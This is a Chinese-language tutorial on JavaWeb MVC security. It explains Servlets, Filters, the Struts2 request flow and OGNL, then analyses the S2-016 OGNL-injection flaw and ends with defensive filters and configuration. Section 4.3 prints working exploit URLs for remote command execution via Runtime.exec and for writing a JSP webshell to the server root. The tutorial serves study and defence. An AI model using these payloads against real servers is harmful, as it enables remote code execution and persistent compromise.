攻击JavaWeb应用[5]-MVC安全
字数 1806 2025-08-29 08:31:42
JavaWeb应用安全:MVC框架与Struts2漏洞详解
1. MVC框架基础
1.1 MVC概念与分层思想
MVC(Model-View-Controller)是一种将业务逻辑、数据与显示分离的设计模式:
- Model层:处理业务逻辑,通常用JavaBean或EJB实现
- View层:用户交互界面,可用JSP或其他技术实现
- Controller层:Model与View间的桥梁,处理用户请求并选择视图
1.2 Model1与Model2对比
Model1特点:
- JSP处理所有客户端请求
- 业务逻辑与显示高度耦合
- 维护成本高,安全性差(SQL注入等漏洞常见)
- 示例:
http://localhost/show_user.jsp?id=2
Model2特点:
- 基于MVC模式(JSP+Servlet)
- Servlet处理后端逻辑,JSP仅负责显示
- 视图与业务逻辑分离
- 示例:
http://localhost/ShowUserServlet?id=2
2. JavaWeb核心组件
2.1 Servlet与Filter
Servlet配置:
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>org.javaweb.servlet.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/servlet/LoginServlet.action</url-pattern>
</servlet-mapping>
Filter配置:
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
2.2 Filter接口方法
public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;
public void destroy();
3. Struts2框架深入
3.1 Struts2架构
请求处理流程:
- 客户端请求到达Tomcat
- 请求经过一系列过滤器
- FilterDispatcher调用ActionMapper决定调用哪个Action
- ActionProxy通过Configuration Manager查看struts.xml找到Action类
- ActionInvocation回调Action的execute方法
- 根据返回结果选择对应视图
3.2 核心概念
ActionContext:
- 存放Action执行时需要的对象
- 包含request、session、application等map属性
- 获取方式:
ActionContext ac = ActionContext.getContext();
ValueStack:
- 存储Action对象引用的栈结构
- 可通过OGNL表达式访问
OGNL(Object-Graph Navigation Language):
- Struts2默认表达式语言
- 功能:
- 访问对象方法和属性
- 调用静态方法和属性
- 操作集合对象
- 支持赋值和表达式串联
3.3 OGNL表达式示例
// 普通对象属性访问
user.name
// 静态方法调用
@java.lang.Runtime@getRuntime().exec('command')
// Java等效代码
java.lang.Runtime.getRuntime().exec("command");
4. Struts2漏洞分析
4.1 漏洞历史
Struts2历史上主要漏洞编号:S2-001到S2-017,多数与OGNL表达式注入有关。
4.2 S2-016漏洞分析
漏洞原理:
- 不当处理action映射导致OGNL注入
- 通过特殊参数(如redirect:、action:)执行恶意OGNL
调试关键点:
- 请求进入
StrutsPrepareAndExecuteFilter.doFilter - 调用
PrepareOperations.findActionMapping DefaultActionMapper.handleSpecialParameters处理恶意参数- 最终执行注入的OGNL表达式
4.3 漏洞利用POC
检测POC:
http://target/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman.getWriter().println(%22[/ok]%22)')(d))
命令执行POC:
http://target/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43exec\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43is\75\43exec.getInputStream()')(d))&(i1)(('\43br\75new\40java.io.BufferedReader(new\40java.io.InputStreamReader(\43is))')(d))&(i2)(('\43res\75new\40char[50000]')(d))&(i3)(('\43br.read(\43res)')(d))&(i4)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i5)(('\43xman.getWriter().println(new\40java.lang.String(\43res))')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=ipconfig
Webshell写入POC:
http://target/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43fos\75new\40java.io.FileOutputStream(new\40java.lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@java.io.File@separator).append(%22shell.jsp%22).toString())')(d))&(i)(('\43fos.write(\43req.getParameter(%22p%22).getBytes())')(d))&(i4)(('\43fos.close()')(d))&p=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
5. 防御措施
5.1 防护层级
- CDN层:拦截所有Struts2请求过滤OGNL代码
- Server层:在请求到达Struts2前拦截恶意请求
- 项目层:在Struts2的Filter前添加拦截层
- 框架层:使用Struts2拦截器拦截恶意请求
- OGNL层:修改OGNL源码包拦截恶意表达式
- 补丁方案:及时应用官方补丁
- 替代方案:考虑迁移到Spring MVC等更安全框架
5.2 具体防护方法
- 限制静态方法调用:
// struts.xml配置
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
- 过滤特殊参数名:
- redirect:
- action:
- redirectAction:
- 输入验证与过滤:
// 自定义Filter过滤恶意OGNL表达式
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
Enumeration<String> names = req.getParameterNames();
while(names.hasMoreElements()) {
String name = names.nextElement();
if(name.contains("redirect:") || name.contains("action:")) {
throw new ServletException("Malicious parameter detected");
}
}
chain.doFilter(request, response);
}
6. 附录:关键知识点总结
- MVC分层:理解Model-View-Controller各层职责
- OGNL表达式:掌握其语法和危险操作
- Struts2流程:熟悉请求处理完整生命周期
- 漏洞原理:理解参数注入导致OGNL执行的过程
- 防护思路:多层次防御,从输入验证到架构替换
通过深入理解这些知识点,可以有效提高JavaWeb应用的安全性,防范类似Struts2漏洞的攻击。